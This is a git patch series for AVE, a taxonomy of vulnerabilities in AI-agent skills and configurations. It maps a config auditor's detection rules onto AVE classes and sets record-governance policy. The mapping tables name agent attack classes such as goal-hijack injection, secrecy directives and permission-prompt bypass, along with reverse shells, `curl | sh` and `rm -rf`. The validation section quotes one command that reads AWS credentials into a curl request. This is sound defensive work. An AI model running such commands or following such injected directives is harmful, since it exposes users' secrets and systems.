From 334bb96ab8034e8b8557e491a6d708191b9bde03 Mon Sep 17 00:00:00 2001 From: Nicolai <245527909+predictor2718@users.noreply.github.com> Date: Thu, 23 Jul 2026 17:33:29 +0200 Subject: [PATCH 01/12] =?UTF-8?q?Add=20cfgaudit=20=E2=86=92=20AVE=20crossw?= =?UTF-8?q?alk=20(static=20config-auditor)=20(#67)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- crosswalks/cfgaudit-to-ave.json | 272 ++++++++++++++++++++++++++++++++ crosswalks/cfgaudit-to-ave.md | 95 +++++++++++ 2 files changed, 367 insertions(+) create mode 100644 crosswalks/cfgaudit-to-ave.json create mode 100644 crosswalks/cfgaudit-to-ave.md diff --git a/crosswalks/cfgaudit-to-ave.json b/crosswalks/cfgaudit-to-ave.json new file mode 100644 index 0000000..191f8e2 --- /dev/null +++ b/crosswalks/cfgaudit-to-ave.json @@ -0,0 +1,272 @@ +{ + "$schema": "https://aveproject.org/schema/crosswalk-1.0.0.schema.json", + "source": { + "tool": "cfgaudit", + "vendor": "cfgaudit", + "version": "1.9.0", + "url": "https://github.com/cfgaudit/cfgaudit", + "license": "Apache-2.0", + "tool_class": "static configuration auditor", + "rules_total": 90, + "rules_mapped": 33 + }, + "target": { + "standard": "AVE", + "version": "1.1.0", + "url": "https://aveproject.org", + "record_count": 59, + "static_record_count": 44 + }, + "generated": "2026-07-22", + "note": "cfgaudit is a static auditor of committable AI-agent CONFIGURATION files. It does not connect to running servers or observe runtime, so it maps only to AVE's static_detection records. Each cfgaudit rule emits its primary AVE id in JSON/SARIF output (see github.com/cfgaudit/cfgaudit/blob/main/docs/cfgaudit-to-ave.md). Mappings are class-level behavioral equivalence, not asserted identity. cfgaudit maps 33 config-surface rules onto 19 AVE behavioral classes (many-to-one: several rules per class, since cfgaudit slices threats by config surface where AVE slices by behavior). AVE-2026-00036 (lateral movement) was implemented and then reverted after a false-positive analysis; see gaps.", + "mappings": [ + { + "ave_id": "AVE-2026-00003", + "title": "credential exfiltration", + "cfgaudit_rules": [ + "CFG031", + "CFG036", + "CFG037", + "CFG038" + ] + }, + { + "ave_id": "AVE-2026-00004", + "title": "shell-pipe code execution", + "cfgaudit_rules": [ + "CFG008", + "CFG014" + ] + }, + { + "ave_id": "AVE-2026-00005", + "title": "recursive filesystem destruction", + "cfgaudit_rules": [ + "CFG039" + ] + }, + { + "ave_id": "AVE-2026-00007", + "title": "prompt-injection goal hijack", + "cfgaudit_rules": [ + "CFG026" + ] + }, + { + "ave_id": "AVE-2026-00008", + "title": "persistence / self-replication", + "cfgaudit_rules": [ + "CFG027", + "CFG028" + ] + }, + { + "ave_id": "AVE-2026-00010", + "title": "covert instruction concealment", + "cfgaudit_rules": [ + "CFG030" + ] + }, + { + "ave_id": "AVE-2026-00011", + "title": "dynamic tool-call injection", + "cfgaudit_rules": [ + "CFG035" + ] + }, + { + "ave_id": "AVE-2026-00017", + "title": "server impersonation / spoofing", + "cfgaudit_rules": [ + "CFG052", + "CFG059" + ] + }, + { + "ave_id": "AVE-2026-00021", + "title": "autonomous action without confirmation", + "cfgaudit_rules": [ + "CFG029" + ] + }, + { + "ave_id": "AVE-2026-00025", + "title": "conversation-history / role injection", + "cfgaudit_rules": [ + "CFG032" + ] + }, + { + "ave_id": "AVE-2026-00027", + "title": "multi-turn instruction persistence", + "cfgaudit_rules": [ + "CFG081" + ] + }, + { + "ave_id": "AVE-2026-00029", + "title": "homoglyph / Unicode obfuscation", + "cfgaudit_rules": [ + "CFG024" + ] + }, + { + "ave_id": "AVE-2026-00032", + "title": "network reconnaissance instruction", + "cfgaudit_rules": [ + "CFG090" + ] + }, + { + "ave_id": "AVE-2026-00039", + "title": "covert-channel exfiltration", + "cfgaudit_rules": [ + "CFG033", + "CFG072" + ] + }, + { + "ave_id": "AVE-2026-00047", + "title": "hardcoded credentials in component", + "cfgaudit_rules": [ + "CFG007", + "CFG050", + "CFG054", + "CFG065", + "CFG073" + ] + }, + { + "ave_id": "AVE-2026-00048", + "title": "unsafe agent delegation chain", + "cfgaudit_rules": [ + "CFG051", + "CFG085" + ] + }, + { + "ave_id": "AVE-2026-00055", + "title": "command exec via untrusted MCP launch config", + "cfgaudit_rules": [ + "CFG019", + "CFG020", + "CFG070" + ] + }, + { + "ave_id": "AVE-2026-00057", + "title": "obfuscated/encoded payload", + "cfgaudit_rules": [ + "CFG057" + ] + }, + { + "ave_id": "AVE-2026-00058", + "title": "deceptive trigger / activation-scope", + "cfgaudit_rules": [ + "CFG056" + ] + } + ], + "gaps": [ + { + "ave_id": "AVE-2026-00015", + "note": "system-prompt extraction. Maps to OWASP LLM07, which cfgaudit treats as runtime; the instruction is static, but the scope boundary is undecided." + }, + { + "ave_id": "AVE-2026-00036", + "note": "lateral movement. cfgaudit implemented and then reverted this rule. The vocabulary ('lateral movement', 'pivot to other systems') is intent-ambiguous, appearing in security-tool self-description and defensive contexts a static linter cannot distinguish from a directive." + }, + { + "ave_id": "AVE-2026-00059", + "note": "fragmented cross-description injection. Needs multi-source correlation; cfgaudit checks each file in isolation." + } + ], + "coverage": { + "ave_static_records": 44, + "cfgaudit_rules_total": 90, + "cfgaudit_rules_mapped": 33, + "ave_classes_covered": 19, + "cfgaudit_rules_unmapped": 57 + }, + "validation": { + "against": { + "tool": "Bawbel Scanner", + "version": "1.3.0" + }, + "method": "same SKILL.md per rule, cfgaudit canonical triggers unmodified, static engines only (pattern+yara+semgrep, no LLM), both reading ave_id from JSON", + "shared_surface_rules": 10, + "agreements": 5, + "note": "5 of the 10 instruction-content rules that share a scan surface with Bawbel: both scanners independently emit the same ave_id. The 5 divergences are detection-pattern differences, not mapping errors." + }, + "config_surfaces_beyond_ave": [ + { + "surface": "permission / approval config", + "example_rules": [ + "CFG001", + "CFG003", + "CFG004", + "CFG048", + "CFG079" + ] + }, + { + "surface": "zero-click IDE / workspace auto-run", + "example_rules": [ + "CFG047", + "CFG067", + "CFG086", + "CFG087" + ] + }, + { + "surface": "telemetry / endpoint redirect", + "example_rules": [ + "CFG005", + "CFG046", + "CFG071" + ] + }, + { + "surface": "sandbox weakening in config", + "example_rules": [ + "CFG022", + "CFG061", + "CFG064" + ] + }, + { + "surface": "TLS verification disabled", + "example_rules": [ + "CFG075" + ] + }, + { + "surface": "container / daemon posture", + "example_rules": [ + "CFG082", + "CFG083", + "CFG084" + ] + }, + { + "surface": "MCP network / transport posture", + "example_rules": [ + "CFG018", + "CFG066", + "CFG058", + "CFG021", + "CFG069" + ] + }, + { + "surface": "supply-chain pinning / plugin auto-install", + "example_rules": [ + "CFG010", + "CFG055", + "CFG074", + "CFG089" + ] + } + ] +} diff --git a/crosswalks/cfgaudit-to-ave.md b/crosswalks/cfgaudit-to-ave.md new file mode 100644 index 0000000..d8eea81 --- /dev/null +++ b/crosswalks/cfgaudit-to-ave.md @@ -0,0 +1,95 @@ +# cfgaudit → AVE crosswalk + +[cfgaudit](https://github.com/cfgaudit/cfgaudit) is a static auditor of committable AI-agent **configuration files** (Claude Code `settings.json` / `CLAUDE.md` / `.mcp.json` / hooks / plugins, and the cross-agent equivalents: Cursor, Copilot, Gemini, Codex, Devin, Zed, Continue). It does not connect to running servers or observe runtime, so it maps only to AVE's `static_detection` records. + +cfgaudit emits each rule's primary AVE id in its JSON and SARIF output (`AVEID` in JSON; `properties.ave_id` in SARIF). This crosswalk is the source of truth that mapping is kept in sync with. Full write-up: [`docs/cfgaudit-to-ave.md`](https://github.com/cfgaudit/cfgaudit/blob/main/docs/cfgaudit-to-ave.md). + +## Versions + +| | Version | +|---|---| +| cfgaudit | 1.9.0 | +| AVE record set | 1.1.0 | +| Bawbel Scanner (validation, below) | 1.3.0 | + +## Coverage + +cfgaudit has **90 rules** in total. **33 of them map onto 19 AVE behavioral classes.** It is a many-to-one mapping: several cfgaudit rules land on the same AVE class, because cfgaudit slices threats by config surface where AVE slices by behavior. For example, cfgaudit has five distinct secret-detection rules (a secret in `settings.json` env, in an MCP `env`/`headers` block, an entropy fallback, a Continue inline `apiKey`, a crypto signing key), and all five map to the single AVE class `AVE-2026-00047` (hardcoded credentials in component). + +The other 57 rules have no AVE class: they check config surfaces AVE's skill and MCP-server records do not enumerate (see "Config surfaces beyond AVE's model" below). + +## Rule mapping + +| cfgaudit rule(s) | AVE id | Class | Notes | +|---|---|---|---| +| CFG024 | AVE-2026-00029 | homoglyph / Unicode obfuscation | hidden Unicode control chars in instruction text | +| CFG026 | AVE-2026-00007 | goal hijack | override / persona / authority instruction | +| CFG029 | AVE-2026-00021 | autonomous action without confirmation | instruction to bypass permission prompts | +| CFG030 | AVE-2026-00010 | covert instruction concealment | "don't tell the user" / secrecy directive | +| CFG032 | AVE-2026-00025 | conversation-history / role injection | pseudo-system tags, turn-boundary injection | +| CFG035 | AVE-2026-00011 | dynamic tool-call injection | instruction to configure or trust an MCP server | +| CFG031, CFG036, CFG037, CFG038 | AVE-2026-00003 | credential exfiltration | sensitive-path read, env dump, embedded exfil shell | +| CFG033, CFG072 | AVE-2026-00039 | covert-channel exfiltration | markdown-image sink, DNS-name exfil | +| CFG056 | AVE-2026-00058 | deceptive trigger / activation-scope | broad always-on skill trigger | +| CFG057 | AVE-2026-00057 | obfuscated / encoded payload | base64 or data-URI encoded injection | +| CFG081 | AVE-2026-00027 | multi-turn instruction persistence | "survive context compaction" directive | +| CFG051, CFG085 | AVE-2026-00048 | unsafe agent delegation chain | over-broad tool grant in agent frontmatter | +| CFG090 | AVE-2026-00032 | network reconnaissance instruction | scan or enumerate an internal network (see gaps re: precision) | +| CFG008, CFG014 | AVE-2026-00004 | shell-pipe code execution | reverse shell, `curl \| sh` | +| CFG039 | AVE-2026-00005 | recursive filesystem destruction | `rm -rf` | +| CFG027, CFG028 | AVE-2026-00008 | persistence / self-replication | cron/startup persistence, writing trust files | +| CFG007, CFG050, CFG054, CFG065, CFG073 | AVE-2026-00047 | hardcoded credentials in component | secrets in settings or MCP env/headers | +| CFG052, CFG059 | AVE-2026-00017 | server impersonation / spoofing | MCP name shadowing, typosquat | +| CFG019, CFG020, CFG070 | AVE-2026-00055 | command exec via untrusted MCP launch config | inline-script, env-code, repo-relative launcher | + +Mappings are class-level behavioral equivalence, not asserted identity. Where a cfgaudit rule covers more than one AVE class, only the canonical primary is emitted (matching AVE's one-`ruleId`-per-class SARIF model); the full multi-mapping is in cfgaudit's own crosswalk doc. + +## Config surfaces beyond AVE's model + +AVE's records enumerate behavior in skills and MCP servers. cfgaudit additionally audits config-file classes that carry no corresponding AVE behavioral class today. The 57 unmapped rules cluster into these surfaces: + +| Config surface | Example files / keys | Example rules | +|---|---|---| +| Permission / approval config | `permissions.allow`, `defaultMode: bypassPermissions`, `enableAllProjectMcpServers`, `.vscode` `chat.tools.autoApprove` | CFG001, CFG003, CFG004, CFG048, CFG079 | +| Zero-click IDE / workspace auto-run | `.vscode/tasks.json` `runOn: folderOpen`, committed `.claude`/Cursor/Copilot hooks | CFG047, CFG067, CFG086, CFG087 | +| Telemetry / endpoint redirect | `OTEL_EXPORTER_OTLP_*`, `ANTHROPIC_BASE_URL`, model `base_url` | CFG005, CFG046, CFG071 | +| Sandbox weakening in config | `sandbox` excludes/paths, Gemini/Codex sandbox modes | CFG022, CFG061, CFG064 | +| TLS verification disabled | `NODE_TLS_REJECT_UNAUTHORIZED=0`, `GIT_SSL_NO_VERIFY`, `--insecure` in MCP `env`/`args` | CFG075 | +| Container / daemon posture | `DOCKER_HOST` off-host, `DOCKER_CONTENT_TRUST=0`, Chromium launcher args | CFG082, CFG083, CFG084 | +| MCP network / transport posture | bind-all `0.0.0.0`, wildcard CORS, deprecated `sse`, proxy env, log redaction | CFG018, CFG066, CFG058, CFG021, CFG069 | +| Supply-chain pinning / plugin auto-install | unpinned MCP package, `enabledPlugins`/`extraKnownMarketplaces`, `skills-lock.json` | CFG010, CFG055, CFG074, CFG089 | + +These are not gaps in this crosswalk; they are config classes outside AVE's current skill/MCP-behavioral scope. They are listed here so the taxonomy's coverage against a config-auditor is visible. + +## Cross-implementation validation (cfgaudit vs Bawbel Scanner) + +To test whether the shared ids actually interoperate, cfgaudit **1.9.0** and [Bawbel Scanner](https://github.com/bawbel/scanner) **1.3.0**, which share no code and no ruleset and only the AVE taxonomy, were run on the same `SKILL.md` files using cfgaudit's canonical trigger text unmodified (not tuned for agreement). Static engines only (`pattern`+`yara`+`semgrep`, no LLM), both reading `ave_id` from JSON. + +Of cfgaudit's 33 AVE-mapped rules, **10 instruction/skill-content rules share a scan surface with Bawbel's file scan** (the other 23 read command sites or config files Bawbel's file scan does not cover). Of those 10: + +**Both scanners independently emit the same `ave_id` on 5 of the 10.** + +| Rule | AVE | cfgaudit | Bawbel | | +|---|---|---|---|---| +| CFG024 | 00029 | yes | yes | agree | +| CFG026 | 00007 | yes | yes (+00002) | agree | +| CFG029 | 00021 | yes | yes | agree | +| CFG030 | 00010 | yes | yes (+00003) | agree | +| CFG090 | 00032 | yes | yes | agree | +| CFG031 | 00003 | yes | no | detection differs | +| CFG035 | 00011 | yes | no | detection differs | +| CFG036 | 00003 | yes | no | detection differs | +| CFG057 | 00057 | yes | no | detection differs | +| CFG081 | 00027 | yes | no | detection differs | + +The 5 agreements are cross-implementation corroboration of the mapping. The 5 divergences are detection-pattern differences, not mapping errors: Bawbel bundles a rule for each class, but its pattern did not match cfgaudit's canonical trigger. For CFG036, for instance, Bawbel reports the `curl …?d=$(cat ~/.aws/credentials)` skill CLEAN while cfgaudit flags it. A shared id makes exactly these coverage differences visible and comparable, which is the point. + +## Gaps + +Static `static_detection` classes cfgaudit does not map, with the reason: + +| AVE id | Gap | +|---|---| +| AVE-2026-00015 | system-prompt extraction. Maps to OWASP LLM07, which cfgaudit treats as runtime; the instruction is static, but the scope boundary is undecided. | +| AVE-2026-00036 | lateral movement. cfgaudit implemented and then reverted this rule after a false-positive analysis over 422 real instruction files: the vocabulary (`lateral movement`, `pivot to other systems`) is statically indistinguishable from security-tool self-description and defensive contexts. | +| AVE-2026-00059 | fragmented cross-description injection. Needs multi-source correlation; cfgaudit checks each file in isolation, which is the exact property this attack defeats. | From f4d9b4e1657ac7c721b62266f0a9c63dfe6f9b11 Mon Sep 17 00:00:00 2001 From: CHAK Saray Date: Tue, 28 Jul 2026 06:07:01 +0700 Subject: [PATCH 02/12] docs: scaling and governance policy (#80) --- docs/specs/scaling-and-governance.md | 87 ++++++++++++++++++++++++++++ 1 file changed, 87 insertions(+) create mode 100644 docs/specs/scaling-and-governance.md diff --git a/docs/specs/scaling-and-governance.md b/docs/specs/scaling-and-governance.md new file mode 100644 index 0000000..7fe6ce3 --- /dev/null +++ b/docs/specs/scaling-and-governance.md @@ -0,0 +1,87 @@ +# Scaling and governance + +How AVE handles growth, versioning, and correction as the corpus and its +review process scale. Written at 59 records, deliberately, not after +scale made it urgent. + +## 1. Record-growth discipline + +A new AVE record requires a genuinely distinct behavioral mechanism, not +an organizational wrapper around coverage that already exists. + +**The precedent this guards against, stated directly.** MITRE's CWE +version 4.19 added twelve new entries. Per independent analysis, zero +described actual weaknesses; all twelve were organizational containers +mirroring OWASP's Top Ten 2025 categories. The same release had 903 +entries with "major changes," overwhelmingly metadata cleanup rather +than substantive content. This is documented behavior in the taxonomy +AVE is closest in kind to, not a hypothetical risk. AVE is small enough +right now that this policy is cheap to hold; it gets expensive to +introduce after the fact. + +**The mechanical test** for whether something is a genuine new class or +a mutation of an existing one is owned by a separate, dedicated policy +(tracked in its own issue, credited to the community member who raised +it), not restated here. This document states the principle the test +serves. + +**Named anti-pattern**: a record whose entire content is "this other +framework's category, applied to agentic AI" is not a record. A record +earns its place with the same evidentiary bar as every other AVE record, +a real disclosed incident, a real CVE, real published research describing +an actual mechanism, not a cross-reference to another taxonomy's name. + +**Review authority**: currently one maintainer, matching CWE's own actual +practice (MITRE's team, not the community, moves submissions through +review) more closely than it might appear. This is the current state, +not the permanent one; a second maintainer with real review authority is +a tracked, active goal, not an afterthought. + +## 2. Schema versioning policy + +The pattern already in practice, stated as policy so it doesn't depend on +being reverse-engineered from file names. + +**The alias, always current**: `schema/ave-record.schema.json` and +`dist/ave-records-latest.json`. These update in place with every change. + +**Frozen versioned snapshots, permanent once published**: +`schema/ave-record-X.Y.Z.schema.json` and `dist/ave-records-vX.Y.Z.json`. +Never edited retroactively, including typo fixes; a correction ships in +the next version, not a silent edit to a version already published and +potentially already depended on by an implementer who pinned to it. + +**Version bump rules**: + +- Additive, optional field: minor bump (1.1 to 1.2). +- Removing or renaming a required field, or changing an existing field's + meaning: major bump (1.x to 2.0). + +Every record must validate against the schema version it declares in its +own `schema_version` field, enforced in CI. + +## 3. Deprecation policy + +Modeled directly on CVE's own approach: a rejected or superseded entry is +never deleted, stays permanently resolvable, with a stated reason. + +**No published `ave_id` is ever deleted or reused.** Hard rule. An +implementer or a citation that already depends on an ID must never find +it silently gone. + +**`status` gains values beyond `active`**: + +- `deprecated`: superseded by better understanding of the same class. + Content stays, a note explains why it's no longer primary. +- `merged`: a genuine duplicate or sub-case of another record. Adds + `merged_into`, pointing at the surviving `ave_id`. The merged record's + own content and ID remain permanently resolvable. +- `rejected`: found invalid, not a real distinct class. Adds + `rejection_reason`. Stays resolvable, matching CVE's own REJECT state. + +**Implementation note**: the `status` enum expansion and the +`merged_into`/`rejection_reason` fields are a real schema change, tracked +separately as part of a future version bump (alongside `owasp_ast`, see +`AVE_V1.1.0_MIGRATION_BRIEF.md` Section 7.0), not implied to already exist +by this policy document. This section states the policy the schema change +will implement, it does not implement it. From 0ce799e6808b0400fff2e2326b8eab0cbafaadf2 Mon Sep 17 00:00:00 2001 From: CHAK Saray Date: Tue, 28 Jul 2026 20:41:05 +0700 Subject: [PATCH 03/12] docs: cross-reference scaling-and-governance.md in README (#83) --- README.md | 3 +++ 1 file changed, 3 insertions(+) diff --git a/README.md b/README.md index 5a53614..27eefbb 100644 --- a/README.md +++ b/README.md @@ -465,6 +465,9 @@ the mapping. See [GOVERNANCE.md](GOVERNANCE.md) for the decision-making process, how records are proposed and reviewed, and the path toward neutral governance. +See [docs/specs/scaling-and-governance.md](docs/specs/scaling-and-governance.md) +for record-growth discipline, schema versioning, and deprecation policy. + See [CONTRIBUTING.md](CONTRIBUTING.md) for the contributor-facing process. See [CODE_OF_CONDUCT.md](CODE_OF_CONDUCT.md) for community standards. From a367da6f1dd8c440c66f95ff243cf99b5ce21a62 Mon Sep 17 00:00:00 2001 From: CHAK Saray Date: Tue, 28 Jul 2026 20:41:36 +0700 Subject: [PATCH 04/12] docs: cross-reference scaling-and-governance.md in CLAUDE.md (#82) --- CLAUDE.md | 17 +++++++++++++++++ 1 file changed, 17 insertions(+) diff --git a/CLAUDE.md b/CLAUDE.md index 8a62ed4..dbc194d 100644 --- a/CLAUDE.md +++ b/CLAUDE.md @@ -157,6 +157,23 @@ python scripts/check_fixtures.py # every record has +/- fixtures --- +## Scaling and governance rules + +- Before proposing a new record, check `docs/specs/scaling-and-governance.md` + Section 1. A record needs a genuinely distinct behavioral mechanism, not + a category wrapper around existing coverage. If it looks like "framework + X's category, applied to agentic AI," it's not a record, flag this + rather than draft it. +- Never delete or reuse a published `ave_id`, ever, no exceptions. If a + record turns out wrong or redundant, that's a `status` change + (`deprecated`/`merged`/`rejected`), not a deletion. See Section 3. +- Frozen versioned schema and dist files + (`ave-record-X.Y.Z.schema.json`, `ave-records-vX.Y.Z.json`) are never + edited retroactively, including typo fixes. A correction ships in the + next version. + +--- + ## Agent skills | Skill | When | From 79406d02180b1414d3916cd0916308c89fd4330f Mon Sep 17 00:00:00 2001 From: CHAK Saray Date: Tue, 28 Jul 2026 20:42:06 +0700 Subject: [PATCH 05/12] docs: cross-reference scaling-and-governance.md in CONTEXT.md (#84) --- CONTEXT.md | 2 ++ 1 file changed, 2 insertions(+) diff --git a/CONTEXT.md b/CONTEXT.md index 1d98bcc..5cf48cd 100644 --- a/CONTEXT.md +++ b/CONTEXT.md @@ -102,6 +102,8 @@ See CLAUDE.md for session rules and the current task queue. See ARCHITECTURE.md for the record/rule/fixture model. See CONTRIBUTING.md for the contributor-facing process. See GOVERNANCE.md for decision process and the record proposal workflow. +See docs/specs/scaling-and-governance.md for record-growth discipline, +schema versioning, and deprecation policy. **Roadmap, launch planning, adoption tactics, and anything with a marketing or fundraising deadline attached does not belong in this repo, including as an From 798a9c64eef3b8f597092f6b5c1ac2da524a8cbb Mon Sep 17 00:00:00 2001 From: CHAK Saray Date: Tue, 28 Jul 2026 20:42:56 +0700 Subject: [PATCH 06/12] docs: cross-reference scaling-and-governance.md in CONTRIBUTING.md (#85) --- CONTRIBUTING.md | 7 +++++++ 1 file changed, 7 insertions(+) diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index fd0649e..a6fbbcd 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -44,6 +44,13 @@ contribution makes AI agents safer for everyone. ## Submitting a new AVE record +Before opening a PR that adds a new record, read +`docs/specs/scaling-and-governance.md` Section 1. A record needs a +genuinely distinct behavioral mechanism; PRs that mirror another +framework's category without describing a real, evidenced mechanism will +be asked to either strengthen the evidence or fold into an existing +record's `mutation_count` instead. + ### Step 1 -- Open an issue Use the **New AVE Record** issue template. Include: From 43928ee666c8b61d30bd58e0867c7c4d849f3e38 Mon Sep 17 00:00:00 2001 From: CHAK Saray Date: Tue, 28 Jul 2026 20:43:36 +0700 Subject: [PATCH 07/12] docs: cross-reference scaling-and-governance.md in GOVERNANCE.md (#86) --- GOVERNANCE.md | 3 +++ 1 file changed, 3 insertions(+) diff --git a/GOVERNANCE.md b/GOVERNANCE.md index 8c899cf..e6b31e0 100644 --- a/GOVERNANCE.md +++ b/GOVERNANCE.md @@ -22,6 +22,9 @@ Minor additions (new optional fields) are non-breaking and can ship in a patch r **Crosswalk updates:** maintainer or contributors may update crosswalk JSON files to add new tool mappings. No record changes required. +Record-growth, schema-versioning, and deprecation policy specifically are +covered in `docs/specs/scaling-and-governance.md`, not restated here. + --- ## Contribution process From ad2ecf2bfe737878731cd3ec4bb0b273ef3cd1e0 Mon Sep 17 00:00:00 2001 From: CHAK Saray Date: Tue, 28 Jul 2026 20:44:12 +0700 Subject: [PATCH 08/12] docs: add status glossary entry, cross-referencing scaling-and-governance.md (#87) --- LANGUAGE.md | 7 +++++++ 1 file changed, 7 insertions(+) diff --git a/LANGUAGE.md b/LANGUAGE.md index d6a5451..68a5a5b 100644 --- a/LANGUAGE.md +++ b/LANGUAGE.md @@ -29,6 +29,13 @@ Authored once. Immutable ave_id. Lives in records/AVE-YYYY-NNNNN.json. **ave_id** — unique identifier. Format AVE-YYYY-NNNNN. Never renumbered. Immutable once published. Deprecated via status, never deleted. +**status** — `active` is the default. The only valid non-`active` values +are `deprecated`, `merged`, `rejected`, per +`docs/specs/scaling-and-governance.md` Section 3. Don't use synonyms +("retired," "duplicate," "invalid") in prose describing a record's +status, even informally. These names mean something specific and +consistent everywhere they appear. + **attack_class** — the behavioral category. NOT "vulnerability type". Examples: external_instruction_fetch, tool_description_injection, rug_pull, cross_app_escalation. Use snake_case. From e94a8de21566a5c0a5a3d85096b42b06b03e3885 Mon Sep 17 00:00:00 2001 From: CHAK Saray Date: Tue, 28 Jul 2026 20:46:21 +0700 Subject: [PATCH 09/12] docs: CHANGELOG entry for scaling-and-governance.md (#88) --- CHANGELOG.md | 13 +++++++++++++ 1 file changed, 13 insertions(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index 5450cda..dc52abe 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -6,6 +6,19 @@ Format: [Semantic Versioning](https://semver.org). Schema versions and record se --- +## [Unreleased] + +### Added +- `docs/specs/scaling-and-governance.md`: record-growth discipline + (citing MITRE CWE 4.19 as a documented cautionary precedent), schema + versioning policy (formalizing the existing alias/frozen-snapshot + pattern), and deprecation policy (modeled on CVE's rejected-but-permanent + approach). The deprecation policy's schema implementation + (`merged_into`, `rejection_reason` fields) is tracked separately for a + future version bump, not yet implemented. + +--- + ## [1.3.0] - 2026-07-17 ### Summary From 8fcc70b1548abcd8d02bbaf78770d2061a974199 Mon Sep 17 00:00:00 2001 From: CHAK Saray Date: Tue, 28 Jul 2026 20:46:53 +0700 Subject: [PATCH 10/12] docs: cross-reference scaling-and-governance.md in ARCHITECTURE.md (#89) --- ARCHITECTURE.md | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/ARCHITECTURE.md b/ARCHITECTURE.md index 28ab16b..aaeeb16 100644 --- a/ARCHITECTURE.md +++ b/ARCHITECTURE.md @@ -26,6 +26,10 @@ crosswalks/ Mappings from other scanners and frameworks to AVE ids docs/ ADRs, guides, research reports ``` +The alias/versioned-snapshot pattern shown above is described informally +here; `docs/specs/scaling-and-governance.md` Section 2 is the canonical +policy (bump rules, freeze guarantees) this file tree implements. + There is no `rules/` directory in this repo. Detection rule implementations (pattern matching, YARA, semgrep, or anything else) are implementation artifacts, not standard artifacts, and live in whichever tool implements From 86a2a71234847704e66e2a8badf703c8ea0b65f1 Mon Sep 17 00:00:00 2001 From: CHAK Saray Date: Tue, 28 Jul 2026 22:42:49 +0700 Subject: [PATCH 11/12] feat: validate records and update skills (#91) --- .claude/skills/add-ave-record/SKILL.md | 39 +++++++++ .claude/skills/grill-with-docs/SKILL.md | 9 +- records/AVE-2026-00048.json | 14 ++-- references/aivss-scoring.md | 106 ++++++++++++++++++++++++ references/schema-fields.md | 105 +++++++++++++++++++++++ scripts/validate_records.py | 70 +++++++++++++++- 6 files changed, 331 insertions(+), 12 deletions(-) create mode 100644 references/aivss-scoring.md create mode 100644 references/schema-fields.md diff --git a/.claude/skills/add-ave-record/SKILL.md b/.claude/skills/add-ave-record/SKILL.md index b6c64ab..a034546 100644 --- a/.claude/skills/add-ave-record/SKILL.md +++ b/.claude/skills/add-ave-record/SKILL.md @@ -45,6 +45,24 @@ python scripts/validate_records.py pytest tests/ -x -q ``` +If validate_records.py fails on AIVSS arithmetic, fix the record's own +aarf/cvss_base/thm/mitigation_factor values or the stated aivss_score, +don't just adjust one to match the other without checking which one is +actually wrong; a computed mismatch usually means the record was drafted +against a different set of factors than what got written down. + +### 7. Publish +A record passing validation is not yet a published one. Update: +- dist/ave-records-latest.json — add or replace this record's entry, + keeping the array sorted by ave_id. +- CHANGELOG.md — one line under Unreleased/Added: the ave_id, title, + severity, and aivss_score. + +Do not bump schema_version or create a new versioned dist snapshot +(dist/ave-records-vX.Y.Z.json) as part of this step. That's a separate, +deliberate decision tied to an actual schema change, not something that +happens automatically because one record got added. + ## Severity / AIVSS consistency CRITICAL → aivss_score >= 9.0 @@ -54,9 +72,30 @@ LOW → < 4.0 If severity and aivss_score disagree, the record fails validation. +A mechanism that reads as severe in plain English can still land MEDIUM, +correctly, if it's narrow and single-vector — AARF's ten factors reward +breadth of amplification, not just raw impact. cvss_base alone carries +the severity of the underlying impact. Don't inflate AARF factors to +force a record into a more severe-sounding band; if the honestly computed +score feels low relative to the mechanism's intuitive severity, say so in +the record's own aivss.notes field rather than adjusting the inputs to +hit a target. See references/aivss-scoring.md for the full formula and +worked examples of this exact situation. + ## confidence_baseline guide High-signal AVE (hardcoded AWS key, explicit external fetch): 0.85-0.95 Medium-signal (suspicious instruction phrasing): 0.55-0.75 Low-signal (vague, needs corroboration): 0.40-0.55 The scanner adjusts from this baseline via the FP pipeline. + +## Reference files + +- references/aivss-scoring.md — the AARF formula, how aars is computed + from the ten factors, and worked examples spanning MEDIUM through HIGH, + including the specific trap of inflating factors to chase a severity + band. +- references/schema-fields.md — the provenance_vector.entry_class enum + (confirmed live against the corpus) and escalation values, distinct + from grill-with-docs Q7's detection_layer, a coarser, separate field; + don't conflate the two when writing provenance_vector. \ No newline at end of file diff --git a/.claude/skills/grill-with-docs/SKILL.md b/.claude/skills/grill-with-docs/SKILL.md index 349dc22..4174b3f 100644 --- a/.claude/skills/grill-with-docs/SKILL.md +++ b/.claude/skills/grill-with-docs/SKILL.md @@ -7,7 +7,14 @@ Grill before defining a vulnerability class. No record until complete. Q1: In one sentence, what does a vulnerable component DO? (This becomes behavioral_fingerprint — must be behavioral, not a string.) Q2: Is this a new attack_class or a variant of an existing one? - (Check records/ for similar attack_class values first.) + Don't check attack_class label similarity alone, that's not + reliable, a genuinely distinct mechanism can have a similar-sounding + name, and a genuine duplicate can have a completely different one. + Pull any plausible match's real provenance_vector fields + (entry_class, payload_surface, escalation) and the full description, + compare directly against this candidate's actual mechanism. Only + call it a variant if the entry_class and payload_surface genuinely + match, not if the label or general topic sounds similar. Q3: What is the worst realistic impact? (drives cvss_base and severity) Q4: How much does agent autonomy amplify it? (drives aars) Q5: Which engines can detect it? pattern/yara/semgrep/llm/sandbox/magika diff --git a/records/AVE-2026-00048.json b/records/AVE-2026-00048.json index 1a5d421..04374b0 100644 --- a/records/AVE-2026-00048.json +++ b/records/AVE-2026-00048.json @@ -83,27 +83,27 @@ "references": [ { "tag": "CWE-269", - "text": "CWE-269: Improper Privilege Management \u2014 MITRE Common Weakness Enumeration", + "text": "CWE-269: Improper Privilege Management — MITRE Common Weakness Enumeration", "url": "https://cwe.mitre.org/data/definitions/269.html" }, { "tag": "OWASP LLM Excessive Agency", - "text": "OWASP Top 10 for LLM Applications \u2014 Excessive Agency", + "text": "OWASP Top 10 for LLM Applications — Excessive Agency", "url": "https://owasp.org/www-project-top-10-for-large-language-model-applications/" }, { "tag": "Cohen 2024", - "text": "Cohen et al. \u2014 Here Comes The AI Worm: Unleashing Zero-click Worms that Target GenAI-Powered Applications (arXiv 2403.02817)", + "text": "Cohen et al. — Here Comes The AI Worm: Unleashing Zero-click Worms that Target GenAI-Powered Applications (arXiv 